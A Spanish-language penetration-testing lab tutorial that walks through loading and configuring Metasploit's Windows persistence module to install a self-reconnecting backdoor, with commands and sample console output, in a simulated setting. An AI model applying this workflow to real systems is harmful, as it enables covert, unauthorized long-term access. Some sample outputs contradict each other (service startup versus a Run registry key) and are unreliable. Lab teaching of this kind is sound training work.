Establecer Persistencia con un Módulo de Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá el proceso fundamental de establecer persistencia en un sistema objetivo utilizando el Metasploit Framework. La persistencia es una fase crítica en las pruebas de penetración, ya que permite a un atacante mantener el acceso a un sistema comprometido incluso después de que se reinicie o se pierda la conexión inicial. Exploraremos cómo utilizar un módulo específico de Metasploit para crear una puerta trasera (backdoor) que se reconecte automáticamente a su máquina. Este laboratorio se centra en los comandos y conceptos en un entorno controlado y simulado.

Obtener una sesión privilegiada de Meterpreter en un objetivo

En este paso, iniciaremos el Metasploit Framework y comprenderemos el contexto de nuestra tarea. En una prueba de penetración real, establecer persistencia es una actividad posterior a la explotación (post-exploitation). Esto significa que ya habría obtenido acceso inicial al sistema objetivo, típicamente en forma de una sesión de Meterpreter.

Para este laboratorio, nos centraremos en los comandos y procedimientos para configurar la persistencia. Asumiremos que ya ha comprometido con éxito un objetivo y tiene una sesión de Meterpreter ejecutándose en segundo plano.

Primero, iniciemos la consola de Metasploit desde la terminal. La bandera -q proporciona un inicio silencioso, suprimiendo el banner de inicio.

msfconsole -q

Su indicador de comandos ahora debería cambiar a msf6 >, lo que indica que está dentro del Metasploit Framework.

En un escenario real con una sesión activa, podría enumerarla con el comando sessions. Para interactuar con ella, usaría sessions -i <session_id>. Para regresar al indicador msf6 > y usar módulos de post-explotación, usaría el comando background desde dentro de la sesión de Meterpreter. Procederemos como si ya hubiéramos enviado nuestra sesión a segundo plano.

Buscar módulos de post-explotación de persistencia

En este paso, buscaremos módulos dentro de Metasploit que puedan ayudarnos a establecer persistencia. Metasploit tiene una potente función de búsqueda que le permite encontrar módulos basándose en palabras clave, tipo, plataforma y más.

Estamos buscando un módulo relacionado con "persistence" (persistencia). Usemos el comando search dentro de la consola de Metasploit para encontrar módulos relevantes.

search persistence

Este comando devolverá una lista de exploits, módulos auxiliares y de post-explotación que coinciden con la palabra clave. La salida muestra el nombre del módulo, la fecha de divulgación, el rango y una breve descripción.

Su salida será similar a esta (algunos detalles pueden variar):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

Como puede ver, hay varias opciones. Para este laboratorio, nos centraremos en exploit/windows/local/persistence, un módulo fiable y de uso común para crear un servicio persistente en sistemas Windows.

Usar el módulo exploit/windows/local/persistence

En este paso, seleccionará el módulo de persistencia que identificamos previamente. El comando use en Metasploit carga un módulo específico en el contexto actual, lo que le permite configurarlo y ejecutarlo.

Para seleccionar el módulo, puede escribir su ruta completa o usar su número de los resultados de la búsqueda (por ejemplo, use 3). Usar la ruta completa es generalmente más fiable, ya que los números pueden cambiar.

Carguemos el módulo exploit/windows/local/persistence.

use exploit/windows/local/persistence

Después de ejecutar este comando, su indicador cambiará para reflejar el módulo cargado actualmente: msf6 exploit(windows/local/persistence) >.

Ahora que el módulo está cargado, podemos ver sus opciones para saber qué necesita ser configurado. Use el comando show options.

show options

Esto mostrará una tabla de todos los parámetros que puede establecer para este módulo, sus valores actuales y si son requeridos.

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

Observe que SESSION es una opción requerida. Aquí es donde especificaría el ID de su sesión de Meterpreter comprometida.

Configurar opciones para inicio automático y payload

En este paso, configuraremos las opciones necesarias para nuestro módulo de persistencia. Basándonos en la salida de show options, necesitamos establecer varios parámetros para definir cómo se comportará el mecanismo de persistencia. El comando set se utiliza para asignar valores a estas opciones.

Primero, especificaremos la sesión. En un escenario real, usaría el ID de su sesión activa (por ejemplo, set SESSION 1). Para este laboratorio, lo estableceremos en 1 como marcador de posición.

set SESSION 1

A continuación, debemos configurar el payload que ejecutará el mecanismo de persistencia. Este payload se conectará de vuelta a nuestra máquina. Debemos establecer LHOST (nuestra dirección IP) y LPORT (el puerto en el que escucharemos). Estableceremos LHOST a la dirección de loopback local 127.0.0.1 y LPORT a 4445 (para evitar conflictos con otros posibles manejadores).

set LHOST 127.0.0.1
set LPORT 4445

La opción STARTUP determina cómo se inicia el payload en la máquina objetivo. Las opciones son USER (se ejecuta cuando el usuario inicia sesión), SYSTEM (se ejecuta cuando el sistema arranca) o SERVICE (se ejecuta como un servicio del sistema). Elegiremos SERVICE para obtener mayores privilegios y sigilo.

set STARTUP SERVICE

Puede ejecutar show options nuevamente para verificar que todas sus configuraciones se han aplicado correctamente. Todos los valores que acaba de establecer deberían reflejarse ahora en la columna "Current Setting".

Ejecutar el módulo y verificar el mecanismo de persistencia

En este paso final, ejecutaremos el módulo. Con todas las opciones configuradas, ejecutar el módulo intentará instalar el script de persistencia en el sistema objetivo a través de la sesión especificada. Para ejecutar el módulo, simplemente use el comando run o exploit.

run

Resultado Esperado: En nuestro entorno simulado, este comando fallará porque no hay una sesión activa con el ID 1. Verá un mensaje de error similar a este:

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

Este es el comportamiento esperado para este laboratorio, ya que no estamos trabajando con un host comprometido y activo.

En un escenario real con una sesión válida, la salida sería muy diferente. Mostraría el módulo subiendo un script, modificando el registro y confirmando que el mecanismo de persistencia se instaló correctamente. Una ejecución exitosa podría verse así:

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

Para completar el proceso en una prueba real, configuraría un nuevo manejador (use exploit/multi/handler) configurado con el mismo LHOST y LPORT (127.0.0.1 y 4445). Después de que la máquina objetivo se reinicie, el payload persistente se ejecutará y se conectará de vuelta a su manejador, proporcionándole una nueva sesión de Meterpreter.

Resumen

En este laboratorio, aprendió el proceso fundamental para establecer persistencia en un sistema objetivo utilizando el Metasploit Framework. Practicó la búsqueda de módulos relevantes, la selección y configuración del módulo exploit/windows/local/persistence, y la comprensión de su funcionamiento.

Aunque simulamos el entorno sin un objetivo activo, ha aprendido los comandos y el flujo de trabajo exactos necesarios para crear una puerta trasera persistente en una prueba de penetración del mundo real. Esta habilidad es crucial para mantener el acceso a largo plazo durante las evaluaciones de seguridad.

¡Felicitaciones por completar el laboratorio!